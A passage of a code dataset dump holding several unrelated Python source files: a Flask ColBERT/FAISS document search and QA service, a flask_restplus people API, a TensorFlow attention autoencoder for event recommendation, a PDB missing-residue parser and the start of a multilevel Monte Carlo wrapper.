f\"{self.name}.tsv\")\n\n @property\n def doc_df(self) -> pd.DataFrame:\n \"\"\" the \"meat\" of the collection -- the docs themselves! pid = index \"\"\"\n if self.__doc_df is not None:\n return self.__doc_df\n elif os.path.exists(self.fp):\n self.__doc_df = pd.read_csv(self.fp, sep='\\t', names=['doc'])\n else:\n self.__doc_df = pd.DataFrame(columns=['doc'])\n\n return self.__doc_df\n\n @property\n def exists(self) -> bool:\n \"\"\"\n Determines if collection exists\n Two ways of checking:\n 1. Check if file exists\n 2. If the file exists and len(doc_df) > 0 -> True (else, False)\n \"\"\"\n return os.path.exists(self.fp)\n\n def save(self):\n \"\"\" Save collection as TSV \"\"\"\n self.__doc_df.to_csv(self.fp, sep='\\t', header=False)\n\n def add_docs(self, docs: Union[str, List[str]]):\n \"\"\"\n Add document(s) to the existing collection\n This will also update the embedding + FAISS indices\n \"\"\"\n if isinstance(docs, str):\n docs = [docs]\n\n if len(self.doc_df) + len(docs) < 256:\n diff = 256 - len(self.doc_df)\n docs.extend([self.padding] * diff)\n\n new_df = pd.DataFrame(docs, columns=['doc'])\n self.__doc_df = pd.concat([self.doc_df, new_df], axis=0, ignore_index=True)\n\n # TODO in future we can just save additional by appending to file instead of whole collection\n self.save()\n\n # Add to embedding + FAISS index\n self.__add_to_indices(docs)\n\n def __add_to_indices(self, docs: List[str]):\n \"\"\"\n Add document(s) to embedding + FAISS indices\n \"\"\"\n\n # Make sure we have somewhere to save to\n create_directory(self.index_dir)\n\n if not os.path.exists(self.fp):\n print(\"😳 Collection does not yet exist! This will be creation of index!\")\n blurb = \"created\"\n else:\n blurb = \"updated\"\n\n print(f\"💡 Embedding {len(docs)} docs...\")\n embs = self.index.add_docs(docs)\n print(\"✅ Done! Adding to FAISS index...\")\n\n if not self.faiss_index_exists or len(self.doc_df) < 1024:\n all_docs = self.doc_df['doc'].values.tolist()\n\n embs, _ = self.index._encode_batch(batch_idx=None, batch=all_docs)\n embs = embs.float().numpy()\n\n sample = 0.3 # Default from repo\n sample_idx = max(int(len(embs) * sample), 256)\n\n idxs = np.random.permutation(np.arange(len(embs)))[:sample_idx]\n training_sample = embs[idxs]\n\n self.reset_faiss_index()\n self.faiss_index.train(training_sample)\n\n else:\n embs = embs.float().numpy()\n\n self.faiss_index.add(embs)\n self.faiss_index.save(self.faiss_index_fp)\n\n print(f\"✅ Done! Indices {blurb}\")\n\n def get_docs(self, doc_ids: Union[int, List[int]]):\n \"\"\" Given document ID, retrieve it from collection \"\"\"\n if isinstance(doc_ids, int):\n doc_ids = [doc_ids]\n\n valid_ids = set(doc_ids).intersection(self.doc_df.index.tolist())\n if len(valid_ids):\n return self.doc_df.loc[valid_ids, 'doc'].values.tolist()\n\n # TODO add methods to retrieve doc embeddings\n\n def remove_docs(self, doc_ids: Union[int, List[int]]):\n\n raise NotImplementedError()\n\n if isinstance(doc_ids, int):\n doc_ids = [doc_ids]\n\n valid_ids = set(doc_ids).intersection(self.doc_df.index.tolist())\n if len(valid_ids):\n self.doc_df.drop(valid_ids)\n\n # TODO remove from embedding + FAISS index\n\n \"\"\"\n ColBERT embedding index\n \"\"\"\n\n @property\n def index_exists(self) -> bool:\n \"\"\" Determines if embedding index exists \"\"\"\n return os.path.exists(self.index_dir)\n\n @property\n def index(self):\n \"\"\" Embedding index created using ColBERT \"\"\"\n bsize = min(len(self.doc_df), 256)\n\n arg_str = f\"\"\"\n --amp --doc_maxlen 180 --mask-punctuation --bsize {bsize} \\\n --checkpoint a \\\n --collection {self.fp} \\\n --index_root {INDEX_ROOT} \\\n --index_name {self.name} \\\n --root {self.root} \\\n --experiment {self.name}\n \"\"\"\n\n parser = index_parser()\n args = parser.parse(shlex.split(arg_str))\n args.index_path = os.path.join(args.index_root, args.index_name)\n\n return CollectionEncoder(args, process_idx=0, num_processes=args.nranks)\n\n \"\"\"\n FAISS index\n \"\"\"\n\n @property\n def faiss_index_fp(self):\n \"\"\" generate FAISS index filepath \"\"\"\n partitions_info = '' if self.partitions is None else f'.{self.partitions}'\n range_info = ''\n return os.path.join(self.index_dir, f'ivfpq{partitions_info}{range_info}.faiss')\n\n @property\n def faiss_index_exists(self) -> bool:\n return os.path.exists(self.faiss_index_fp)\n\n @property\n def faiss_index(self):\n if self.__faiss_index is not None:\n return self.__faiss_index\n else:\n self.__faiss_index = FaissIndex(128, 1)\n if self.faiss_index_exists:\n self.__faiss_index.index = faiss.read_index(self.faiss_index_fp)\n\n return self.__faiss_index\n\n def reset_faiss_index(self):\n self.__faiss_index = FaissIndex(128, 1)\n\n\ndef create_index(collection: Collection):\n\n bsize = min(len(collection.doc_df), 256)\n\n arg_str = f\"\"\"\n --amp --doc_maxlen 180 --mask-punctuation --bsize {bsize} \\\n --checkpoint a \\\n --collection {collection.fp} \\\n --index_root {INDEX_ROOT} \\\n --index_name {collection.name} \\\n --root {ROOT} \\\n --experiment {collection.name}\n \"\"\"\n\n parser = index_parser()\n args = parser.parse(shlex.split(arg_str))\n run_index(args)\n\n arg_str = f\"\"\"\n --index_root {INDEX_ROOT}\n --index_name {collection.name}\n --sample 1.0\n --root {ROOT}\n --partition 1\n --experiment {collection.name}\n \"\"\"\n parser = faiss_index_parser()\n args = parser.parse(shlex.split(arg_str))\n run_faiss_index(args)\n\n\ndef index_req(name: str, docs: Union[str, List[str]], mode: str):\n \"\"\"\n Handles all index requests dependent on `mode`\n :param req: HTTP request transformed into dict\n :param mode: determines what is being done to index\n :return:\n \"\"\"\n assert mode in ['add', 'create', 'delete'], f\"Invalid mode={mode}\"\n if isinstance(docs, str):\n docs = [docs]\n\n collection = Collection(name)\n\n # collection_fp = os.path.join(COLLECTIONS, f\"{name}.tsv\")\n if mode == 'create' and collection.exists:\n raise FileExistsError(f\"{name} collection already exists!\")\n\n if mode in ['add', 'delete'] and not collection.exists:\n raise FileNotFoundError(f\"{name} collection does not exist!\")\n\n if mode == 'delete':\n collection.remove_docs(docs)\n else:\n collection.add_docs(docs)\n\n\n@app.route(\"/\")\ndef app_index():\n return \"

Hack the planet! 👨‍💻🌎

\"\n\n\n@app.route(\"/index/create\", methods=['POST'])\ndef create_index():\n req: dict = request.json\n index_req(req['name'], req['docs'], mode='create')\n return Response(status=201)\n\n\n@app.route(\"/index/add\", methods=['POST'])\ndef add_document():\n req: dict = request.json\n index_req(req['name'], req['docs'], mode='add')\n return Response(status=200)\n\n\n@app.route('/index/delete')\ndef remove_document():\n req: dict = request.json\n index_req(req['name'], req['docs'], mode='delete')\n return Response(status=200)\n\n\ndef get_top_doc(query: str, collection: Collection) -> List[Tuple[int, float]]:\n \"\"\"\n Get most relevant document from a collection for a given query\n :param query:\n :param collection_name:\n :return: list of tuples containing (pid, score)\n \"\"\"\n\n arg_str = f\"\"\"\n --amp --doc_maxlen 180 --mask-punctuation --bsize 256 \\\n --checkpoint a \\\n --collection {collection.fp} \\\n --index_root {INDEX_ROOT} \\\n --index_name {collection.name} \\\n --root {ROOT} \\\n --experiment {collection.name} \\\n --partitions 1 \\\n --nprobe 32 \n \"\"\"\n\n args = retrieve_parser().parse(shlex.split(arg_str))\n pids, scores = search_engine_retrieve(query, args)\n\n return list(zip(pids, scores))\n\n\ndef get_answer(question: str, text: str, model: Optional[str] = 'distilbert-base-uncased-distilled-squad') -> str:\n \"\"\"\n Get the answer to a question in a piece of text using Hugginface's QA pipeline\n :param question:\n :param text:\n :param model:\n :return:\n \"\"\"\n\n # TODO in the future we could choose our model via (you guessed it) model arg\n nlp = pipeline('question-answering', model=model)\n\n try:\n resp = nlp(question=question, context=text)\n except KeyError:\n # Unable to find sufficient\n resp = None\n\n return resp\n\n\ndef retrieve_and_answer(collection, query) -> Tuple[str, str]:\n results = get_top_doc(query=query, collection=collection)\n\n # Remove padding from results!\n final_results = []\n for pid, score in results:\n doc = collection.get_docs(pid)[0]\n if doc != collection.padding:\n print(pid, doc)\n final_results.append(doc)\n\n # We can iterate over the top K results to see which gives us the best answer\n top_k = 3\n top_ans = None\n top_doc = final_results[0]\n top_score = -1\n\n for doc in tqdm(final_results[:top_k]):\n resp = get_answer(query, doc)\n\n if resp is not None and resp['score'] > top_score:\n top_score = resp['score']\n top_doc = doc\n top_ans = resp['answer']\n\n return top_ans, top_doc\n\n\n@app.route('/index/search', methods=['POST'])\ndef search():\n req: dict = request.json\n name = req['name']\n query = req['query']\n\n collection = Collection(name)\n if not collection.exists:\n raise FileNotFoundError(f\"collection does not exist!\")\n\n answer, doc = retrieve_and_answer(collection, query)\n return {\n 'answer': answer,\n 'doc': doc\n }\n","sub_path":"colbert/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"628256791","text":"import logging\n\nfrom flask_restplus import Resource,abort\nfrom app.api.models.models import people_model,fav_food_api_model,mutual_friends_model,people_model_list\nfrom app.api.api import api\nfrom app.api.services.service import People,Companies\n\nfrom werkzeug.exceptions import BadRequest,NotFound\n\n\n\nns = api.namespace('people', description='Operations related to people')\n\n@ns.errorhandler(NotFound)\ndef handle_not_found(e):\n return {'message': e}, 404\n\n\n@ns.route('/company/')\n@api.response(404, 'Person not found.')\nclass PeopleInCompany(Resource):\n @api.marshal_with(people_model)\n def get(self, company_name):\n \"\"\"\n Returns all people working in the given company\n \"\"\"\n company_detail=Companies().find_one(company_name)\n if company_detail:\n response = People().find_people_in_company(company_detail['index'])\n if len(response)>0:\n return response\n else:\n abort(404, \"No employees in the company\")\n else:\n abort(404,\"Requested Company not found\")\n\n\n@ns.route('/person/')\n@api.response(404, 'Person not found.')\nclass PersonData(Resource):\n @api.marshal_with(people_model)\n def get(self, person_name):\n \"\"\"\n Returns the requested person details\n \"\"\"\n response = People().find_people_by_name(person_name)\n return response\n\n@ns.route('/mutual_friends//')\n@api.response(404, 'Person not found.')\nclass PersonMutualFriends(Resource):\n @api.marshal_with(mutual_friends_model)\n def get(self, person_1,person_2):\n \"\"\"\n Returns Mutual friends data of two people.\n \"\"\"\n people=People()\n person_1_data = people.find_people_by_name(person_1)\n person_2_data = people.find_people_by_name(person_2)\n if person_1_data and person_2_data:\n response=people.find_mutual_friends(person_1_data,person_2_data,'brown',False)\n return {\"person_1\":person_1_data,\"person_2\":person_2_data,\"mutual_friends\":response}\n elif person_1_data is None and person_2_data is None:\n abort(404,'{} and {} are not citizens of Paranura'.format(person_1,person_2))\n elif person_1_data is None:\n abort(404,'{} is not a citizen of Paranura'.format(person_1))\n else:\n abort(404,'{} is not a citizen of Paranura'.format(person_2))\n\n\n@ns.route('/fav_food/')\n@api.response(404, 'Person not found.')\nclass PersonFavFood(Resource):\n @api.marshal_with(fav_food_api_model)\n def get(self,person_name):\n \"\"\"\n Returns Favourite food of a person\n \"\"\"\n people=People()\n person_data = people.find_people_by_name(person_name)\n if person_data:\n response = people.find_fav_food(person_data)\n return response\n else:\n abort(404, '{} is not a citizen of Paranura'.format(person_name))","sub_path":"app/api/controller/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"614086558","text":"'''\nDenoising AutoEncoder Implementation that utilizes the attention mechanism\nto incorporate contextual information such as the group and venue\n'''\n\"\"\"\nExample Usage:\n\nRun for 20 epochs, 100 hidden units and a 0.5 corruption ratio\npython attention_auto_encoder.py --epochs 20 --size 100 --corrupt 0.5\n\nTo turn off latent factors, eg for group latent factor\npython attention_auto_encoder.py --nogroup\n\"\"\"\n\nimport argparse\nimport os\n\nfrom sklearn.utils import shuffle\n\nfrom acda.common.metrics import precision_at_k, recall_at_k, map_at_k, ndcg_at_k\nfrom acda.common.utils import ACTIVATION_FN, set_logging_config\nimport acda.dataset.event_dataset as ds\nimport acda.dataset.user_group_dataset as ug_dataset\nimport numpy as np\nimport tensorflow as tf\n\nparser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('-g', '--gpu', help='set gpu device number 0-3', type=str, default='3')\nparser.add_argument('-e', '--epochs', help='Number of epochs', type=int, default=5)\nparser.add_argument('-s', '--size', help='Number of hidden layer',\n type=int, default=100)\nparser.add_argument('-n', '--neg_count', help='Number of negatives', type=int,\n default=4)\nparser.add_argument('-c', '--corrupt', help='Corruption ratio', type=float,\n default=0.1)\nparser.add_argument('--save_dir', help='Directory to save the model; if not set will not save', type=str, default=None)\n# Pass the Flag to disable\nparser.add_argument('--nogroup', help='disable group latent factor', action=\"store_true\")\nparser.add_argument('--novenue', help='disable venue latent factor', action=\"store_true\")\n\nactivation_fn_names = ACTIVATION_FN.keys()\nparser.add_argument('--hidden_fn',\n help='hidden activation function to use',\n default='relu', type=str, choices=activation_fn_names)\n\nparser.add_argument('--output_fn',\n help='output activation function to use',\n default='sigmoid', type=str, choices=activation_fn_names)\n\n\nclass AttentionAutoEncoder(object):\n\n def __init__(self, n_inputs, n_hidden, n_outputs, n_groups, n_venues,\n hidden_activation='relu', output_activation='sigmoid',\n learning_rate=0.001):\n \"\"\"\n\n :param n_inputs: int, Number of input features (number of events)\n :param n_hidden: int, Number of hidden units\n :param n_outputs: int, Number of output features (number of events)\n :param n_groups: int, Number of groups or None to disable\n :param n_venues: int, Number of venues or None to disable\n :param learning_rate: float, Step size\n \"\"\"\n\n self.x = tf.placeholder(tf.float32, shape=[None, n_inputs])\n self.group_id = tf.placeholder(tf.int32, shape=[None])\n self.venue_id = tf.placeholder(tf.int32, shape=[None])\n\n # We need to gather the indices from the matrix where our outputs are\n self.gather_indices = tf.placeholder(tf.int32, shape=[None, 2])\n\n self.y = tf.placeholder(tf.float32, shape=[None])\n self.dropout = tf.placeholder_with_default(1.0, shape=(), name='Dropout')\n\n # Weights\n W = tf.get_variable('W', shape=[n_inputs, n_hidden])\n b = tf.get_variable('Bias', shape=[n_hidden])\n\n # Uniform Initialization U(-eps, eps)\n eps = 0.01\n\n preactivation = tf.nn.xw_plus_b(self.x, W, b)\n hidden = ACTIVATION_FN[hidden_activation](preactivation)\n hidden = tf.nn.dropout(hidden, self.dropout)\n\n attention = hidden\n # setup attention mechanism\n # Add venue latent factor\n if n_venues is not None:\n # Create and lookup each bias\n venue_bias = tf.get_variable('VenueBias', shape=[n_venues, n_hidden],\n initializer=tf.random_uniform_initializer(-eps, eps))\n self.venue_factor = tf.nn.embedding_lookup(venue_bias, self.venue_id,\n name='VenueLookup')\n v_attn_weight = tf.get_variable('V_AttentionWLogits',\n shape=[n_hidden, 1])\n v_attention = tf.matmul(self.venue_factor, v_attn_weight)\n\n # Weighted sum of venue factors\n venue_weighted = tf.reduce_sum(v_attention * self.venue_factor,\n axis=0)\n # Sum all venue factors, then make it a vector so it will broadcast\n # and add it to all instances\n attention += tf.squeeze(venue_weighted)\n\n # Add group latent factor\n if n_groups is not None:\n group_bias = tf.get_variable('GroupBias', shape=[n_groups, n_hidden],\n initializer=tf.random_uniform_initializer(-eps, eps))\n self.group_factor = tf.nn.embedding_lookup(group_bias, self.group_id,\n name='GroupLookup')\n g_attn_weight = tf.get_variable('AttentionWLogits',\n shape=[n_hidden, 1])\n g_attention = tf.matmul(self.group_factor, g_attn_weight)\n\n # Weighted sum of group factors\n group_weighted = tf.reduce_sum(g_attention * self.group_factor,\n axis=0)\n # Add to\n attention += tf.squeeze(group_weighted)\n\n attn_output = tf.nn.softmax(tf.nn.tanh(attention))\n\n # create the output layer\n W2 = tf.get_variable('W2', shape=[n_hidden, n_outputs])\n b2 = tf.get_variable('Bias2', shape=[n_outputs])\n preactivation_output = tf.nn.xw_plus_b(tf.multiply(attn_output, hidden), W2, b2)\n \n self.outputs = ACTIVATION_FN[output_activation](preactivation_output)\n\n self.targets = tf.gather_nd(self.outputs, self.gather_indices)\n self.actuals = tf.placeholder(tf.int64, shape=[None])\n\n self.loss = tf.losses.mean_squared_error(self.targets, self.y)\n optimizer = tf.train.AdamOptimizer(learning_rate)\n # Train Model\n self.train = optimizer.minimize(self.loss)\n\n\ndef main():\n n_epochs = FLAGS.epochs\n n_hidden = FLAGS.size\n NEG_COUNT = FLAGS.neg_count\n CORRUPT_RATIO = FLAGS.corrupt\n\n event_data = ds.EventData(ds.rsvp_chicago_file, ug_dataset.user_group_chicago_file)\n users = event_data.get_train_users()\n\n n_inputs = event_data.n_events\n n_groups = event_data.n_groups\n n_outputs = event_data.n_events\n n_venues = event_data.n_venues\n\n # We set to None to turn off the group/venue latent factors\n if FLAGS.nogroup:\n print(\"Disabling Group Latent Factor\")\n n_groups = None\n\n if FLAGS.novenue:\n print(\"Disabling Venue Latent Factor\")\n n_venues = None\n\n model = AttentionAutoEncoder(n_inputs, n_hidden, n_outputs, n_groups, n_venues,\n FLAGS.hidden_fn, FLAGS.output_fn,\n learning_rate=0.001)\n tf_config = tf.ConfigProto(\n gpu_options=tf.GPUOptions(per_process_gpu_memory_fraction=0.25,\n allow_growth=True))\n sv = tf.train.Supervisor(logdir=FLAGS.save_dir)\n set_logging_config(FLAGS.save_dir)\n\n with sv.prepare_or_wait_for_session(config=tf_config) as sess:\n prev_epoch_loss = 0.0\n for epoch in range(n_epochs):\n # additive gaussian noise or multiplicative mask-out/drop-out noise\n epoch_loss = 0.0\n users = shuffle(users)\n\n tf.logging.info(\"Training the model...\")\n for user_id in users:\n x, y, item = event_data.get_user_train_events(\n user_id, NEG_COUNT, CORRUPT_RATIO)\n train_event_index = event_data.get_user_train_event_index(user_id)\n group_ids = event_data.get_user_train_groups(user_id)\n venue_ids = event_data.get_user_train_venues(user_id)\n\n # We only compute loss on events we used as inputs\n # Each row is to index the first dimension\n gather_indices = list(zip(range(len(y)), item))\n\n # Get a batch of data\n batch_loss, _ = sess.run([model.loss, model.train], {\n model.x: x.toarray().astype(np.float32),\n model.gather_indices: gather_indices,\n model.group_id: group_ids,\n model.venue_id: venue_ids,\n model.y: y,\n model.dropout: 0.8\n })\n epoch_loss += batch_loss\n \n tf.logging.info(\"Epoch: {:>16} Loss: {:>10,.6f}\".format(\"%s/%s\" % (epoch, n_epochs),\n epoch_loss))\n tf.logging.info(\"\")\n if prev_epoch_loss != 0 and abs(epoch_loss - prev_epoch_loss) < 1:\n tf.logging.info(\"Decaying learning rate...\")\n model.decay_learning_rate(sess, 0.5)\n \n # evaluate the model on the cv set\n cv_users = event_data.get_cv_users()\n precision = []\n recall = []\n mean_avg_prec = []\n ndcg = []\n eval_at = [5, 10]\n\n tf.logging.info(\"Evaluating on the CV set...\")\n valid_test_users = 0\n for user_id in cv_users:\n # check if user was present in training data\n train_users = event_data.get_train_users()\n if user_id in train_users:\n valid_test_users = valid_test_users + 1\n test_event_index = event_data.get_user_cv_event_index(user_id)\n\n x, _, _ = event_data.get_user_train_events(user_id, 0, 0)\n group_ids = event_data.get_user_train_groups(user_id)\n venue_ids = event_data.get_user_train_venues(user_id)\n # Compute score\n score = sess.run(model.outputs, {\n model.x: x.toarray().astype(np.float32),\n model.group_id: group_ids,\n model.venue_id: venue_ids,\n model.dropout: 1.0\n })[0] # We only do one sample at a time, take 0 index\n\n # Sorted in ascending order, we then take the last values\n index = np.argsort(score)\n\n # Number of test instances\n preck = []\n recallk = []\n mapk = []\n ndcgk = []\n for k in eval_at:\n preck.append(precision_at_k(index, test_event_index, k))\n recallk.append(recall_at_k(index, test_event_index, k))\n mapk.append(map_at_k(index, test_event_index, k))\n ndcgk.append(ndcg_at_k(index, test_event_index, k))\n\n precision.append(preck)\n recall.append(recallk)\n mean_avg_prec.append(mapk)\n ndcg.append(ndcgk)\n\n if valid_test_users > 0:\n # Unpack the lists zip(*[[1,2], [3, 4]]) => [1,3], [2,4]\n avg_precision_5, avg_precision_10 = zip(*precision)\n avg_precision_5, avg_precision_10 = np.mean(avg_precision_5), np.mean(avg_precision_10)\n\n avg_recall_5, avg_recall_10 = zip(*recall)\n avg_recall_5, avg_recall_10 = np.mean(avg_recall_5), np.mean(avg_recall_10)\n\n avg_map_5, avg_map_10 = zip(*mean_avg_prec)\n avg_map_5, avg_map_10 = np.mean(avg_map_5), np.mean(avg_map_10)\n\n avg_ndcg_5, avg_ndcg_10 = zip(*ndcg)\n avg_ndcg_5, avg_ndcg_10 = np.mean(avg_ndcg_5), np.mean(avg_ndcg_10)\n\n # Directly access variables\n tf.logging.info(f\"Precision@5: {avg_precision_5:>10.6f} Precision@10: {avg_precision_10:>10.6f}\")\n tf.logging.info(f\"Recall@5: {avg_recall_5:>10.6f} Recall@10: {avg_recall_10:>10.6f}\")\n tf.logging.info(f\"MAP@5: {avg_map_5:>10.6f} MAP@10: {avg_map_10:>10.6f}\")\n tf.logging.info(f\"NDCG@5: {avg_ndcg_5:>10.6f} NDCG@10: {avg_ndcg_10:>10.6f}\")\n tf.logging.info(\"\")\n \n # evaluate on test users\n tf.logging.info(\"Evaluating on the test set...\")\n valid_test_users = 0\n precision = []\n recall = []\n mean_avg_prec = []\n ndcg = []\n eval_at = [5, 10]\n for user_id in event_data.get_test_users():\n # check if user was present in training data\n train_users = event_data.get_train_users()\n if user_id in train_users:\n valid_test_users = valid_test_users + 1\n test_event_index = event_data.get_user_test_event_index(user_id)\n\n x, _, _ = event_data.get_user_train_events(user_id, 0, 0)\n group_ids = event_data.get_user_train_groups(user_id)\n venue_ids = event_data.get_user_train_venues(user_id)\n # Compute score\n score = sess.run(model.outputs, {\n model.x: x.toarray().astype(np.float32),\n model.group_id: group_ids,\n model.venue_id: venue_ids,\n model.dropout: 1.0\n })[0] # We only do one sample at a time, take 0 index\n\n # Sorted in ascending order, we then take the last values\n index = np.argsort(score)\n\n # Number of test instances\n preck = []\n recallk = []\n mapk = []\n ndcgk = []\n for k in eval_at:\n preck.append(precision_at_k(index, test_event_index, k))\n recallk.append(recall_at_k(index, test_event_index, k))\n mapk.append(map_at_k(index, test_event_index, k))\n ndcgk.append(ndcg_at_k(index, test_event_index, k))\n\n precision.append(preck)\n recall.append(recallk)\n mean_avg_prec.append(mapk)\n ndcg.append(ndcgk)\n\n if valid_test_users > 0:\n # Unpack the lists zip(*[[1,2], [3, 4]]) => [1,3], [2,4]\n avg_precision_5, avg_precision_10 = zip(*precision)\n avg_precision_5, avg_precision_10 = np.mean(avg_precision_5), np.mean(avg_precision_10)\n\n avg_recall_5, avg_recall_10 = zip(*recall)\n avg_recall_5, avg_recall_10 = np.mean(avg_recall_5), np.mean(avg_recall_10)\n\n avg_map_5, avg_map_10 = zip(*mean_avg_prec)\n avg_map_5, avg_map_10 = np.mean(avg_map_5), np.mean(avg_map_10)\n\n avg_ndcg_5, avg_ndcg_10 = zip(*ndcg)\n avg_ndcg_5, avg_ndcg_10 = np.mean(avg_ndcg_5), np.mean(avg_ndcg_10)\n\n # Directly access variables\n tf.logging.info(f\"Precision@5: {avg_precision_5:>10.6f} Precision@10: {avg_precision_10:>10.6f}\")\n tf.logging.info(f\"Recall@5: {avg_recall_5:>10.6f} Recall@10: {avg_recall_10:>10.6f}\")\n tf.logging.info(f\"MAP@5: {avg_map_5:>10.6f} MAP@10: {avg_map_10:>10.6f}\")\n tf.logging.info(f\"NDCG@5: {avg_ndcg_5:>10.6f} NDCG@10: {avg_ndcg_10:>10.6f}\")\n tf.logging.info(\"\")\n sv.request_stop()\n\n\nif __name__ == '__main__':\n FLAGS = parser.parse_args()\n os.environ['CUDA_VISIBLE_DEVICES'] = FLAGS.gpu\n main()\n","sub_path":"src/acda/model/event_adae.py","file_name":"event_adae.py","file_ext":"py","file_size_in_byte":15417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"552758784","text":"class Missing:\n def __init__(self,pdbrecord=None,cifdict=None):\n if pdbrecord!=None and cifdict!=None:\n print(\"Error: __init__ called with both a pdbrecord and cifdict.\\nUsing pdbrecord.\")\n if pdbrecord!=None:\n self.pdbrecord=pdbrecord\n self.record_name=pdbrecord[0:6]\n self.code=int(pdbrecord[7:10])\n self.model=pdbrecord[13:14].strip()\n self.resname=pdbrecord[15:18].strip()\n self.chainID=pdbrecord[19:20]\n self.resseqnum=int(pdbrecord[21:26])\n self.insertion=pdbrecord[26:27]\n elif cifdict!=None:\n self.cifdict=cifdict\n self.model=int(cifdict['pdb_model_num'])\n self.resname=cifdict['auth_comp_id']\n self.chainID=cifdict['auth_asym_id']\n self.resseqnum=int(cifdict['auth_seq_id'])\n ic=cifdict['pdb_ins_code']\n self.insertion=' ' if ic=='?' else ic\n def __str__(self):\n retstr='MISSING\\n'+\\\n ' model {:s}\\n'+\\\n ' resname {:s}\\n'+\\\n ' chainID {:s}\\n'+\\\n ' resseqnum {:d}\\n'+\\\n ' insertion {:s}\\n'\n return retstr.format(self.model,self.resname,self.chainID,self.resseqnum,self.insertion)\n def psfgen_residueline(self):\n return ' residue {} {}{} {}'.format(self.resname,self.resseqnum,self.insertion,self.chainID)\n\n","sub_path":"scripts/cfapdbparse/missing.py","file_name":"missing.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"587507761","text":"\"\"\"\nPython wrapper to run MLMF algorithm and MLMC algorithm\n\"\"\"\n\nimport os\nimport time\nimport numpy as np\nimport pandas as pd\nimport sys\nimport multiprocessing as mp\n\nfrom scipy.stats import kurtosis\n\n\ndef write(logfile, msg):\n \"\"\"\n Write to both sys.stdout and to a logfile.\n \"\"\"\n logfile = open(logfile, 'a+')\n logfile.write(msg)\n sys.stdout.write(msg)\n sys.stdout.flush()\n logfile.close()\n\ndef multilevel(hf_path, lf_path, qin, qout):\n \"\"\"\n Runs high fidelity and low fidelity model on level l and level (l-1) using the same random number\n \"\"\"\n for (low_fid_fn, high_fid_fn, sigma, meshsize, L0) in iter(qin.get, 'stop'):\n\n t0 = time.time()\n if high_fid_fn is not None:\n os.chdir(hf_path)\n outputf_hf = high_fid_fn(sigma, meshsize, L0, hf_path)\n outputc_hf = high_fid_fn(sigma, meshsize/2, L0, hf_path)\n else:\n outputf_hf = None\n outputc_hf = None\n\n t1 = time.time()\n if low_fid_fn is not None:\n os.chdir(lf_path)\n outputf_lf = low_fid_fn(sigma, meshsize, L0, lf_path)\n outputc_lf = low_fid_fn(sigma, meshsize/2, L0, lf_path)\n else:\n outputf_lf = [None for i in range(len(outputf_hf))]\n outputc_lf = [None for i in\trange(len(outputf_hf))]\n t2 = time.time()\n\n qout.put((outputf_hf, outputc_hf, outputf_lf, outputc_lf, t1-t0, t2-t1))\n\n\ndef _parallel_mlmf(low_fidelity_fn, high_fidelity_fn, samples, meshsize, L0, processes, iteration, hf_path_stem, lf_path_stem):\n \"\"\"\n Split the tasks so the algorithm be parallelised and then collect the parallel output\n \"\"\"\n\n # putting runs into queues\n in_queue = mp.Queue()\n out_queue = mp.Queue()\n future_res = []\n for i in range(processes):\n hf_path = hf_path_stem + str(i) + '/'\n if not os.path.exists(hf_path):\n os.makedirs(hf_path)\n if lf_path_stem is not None:\n lf_path = lf_path_stem + str(i) + '/'\n if not os.path.exists(lf_path):\n os.makedirs(lf_path)\n else:\n lf_path = None\n\n future_res.append(mp.Process(target = multilevel, args = (hf_path, lf_path, in_queue, out_queue)))\n future_res[-1].start()\n\n for j in range(iteration):\n sigma = samples[j]\n in_queue.put((low_fidelity_fn, high_fidelity_fn, sigma, meshsize, L0))\n # send stop signals\n for i in range(processes):\n in_queue.put('stop')\n\n # collect output\n results = []\n for i in range(iteration):\n if (i+1)%1000 == 0:\n print(i)\n results.append(out_queue.get())\n\n outputf_hf = [f[0] for f in results]\n outputc_hf = [f[1] for f in results]\n\n outputf_lf = [f[2] for f in results]\n outputc_lf = [f[3] for f in results]\n \n # record output in csv files (then used to construct CDFs)\n\n try:\n print('output_hf_' + str(meshsize)+'.csv')\n outputprevf = pd.read_csv('output_hf_' + str(meshsize)+'.csv')\n outputf_df = pd.DataFrame(outputf_hf)\n pd.concat([outputf_df, outputprevf]).reset_index(drop=True).to_csv('output_hf_' + str(meshsize)+'.csv', index = False)\n except:\n pd.DataFrame(outputf_hf).to_csv('output_hf_' + str(meshsize) + '.csv', index = False)\n\n\n try:\n print('output_hf_' + str(np.int(meshsize/2))+'.csv')\n outputprevc = pd.read_csv('output_hf_' + str(np.int(meshsize/2))+'.csv')\n outputc_df = pd.DataFrame(outputc_hf)\n pd.concat([outputc_df, outputprevc]).reset_index(drop=True).to_csv('output_hf_' + str(np.int(meshsize/2))+'.csv', index = False)\n except:\n pd.DataFrame(outputc_hf).to_csv('output_hf_' + str(np.int(meshsize/2)) + '.csv', index = False)\n \n try:\n print('output_lf_' + str(meshsize)+'.csv')\n outputprevf = pd.read_csv('output_lf_' + str(meshsize)+'.csv')\n outputf_df = pd.DataFrame(outputf_lf)\n pd.concat([outputf_df, outputprevf]).reset_index(drop=True).to_csv('output_lf_' + str(meshsize)+'.csv', index = False)\n except:\n pd.DataFrame(outputf_lf).to_csv('output_lf_' + str(meshsize) + '.csv', index = False)\n\n try:\n print('output_lf_' + str(np.int(meshsize/2))+'.csv')\n outputprevc = pd.read_csv('output_lf_' + str(np.int(meshsize/2))+'.csv')\n outputc_df = pd.DataFrame(outputc_lf)\n pd.concat([outputc_df, outputprevc]).reset_index(drop=True).to_csv('output_lf_' + str(np.int(meshsize/2))+'.csv', index = False)\n except:\n pd.DataFrame(outputc_lf).to_csv('output_lf_' + str(np.int(meshsize/2)) + '.csv', index = False)\n\n\n time_hf = sum([f[4] for f in results])\n time_lf = sum([f[5] for f in results])\n\n return outputf_hf, outputc_hf, outputf_lf, outputc_lf, time_hf, time_lf\n\ndef mlmf_init(nhfsamples, nf, no_out, no_parallel_processes, high_fidelity, low_fidelity, sample_fn, logfile, hf_path, lf_path, L0 = None, increase_corr = True):\n\n 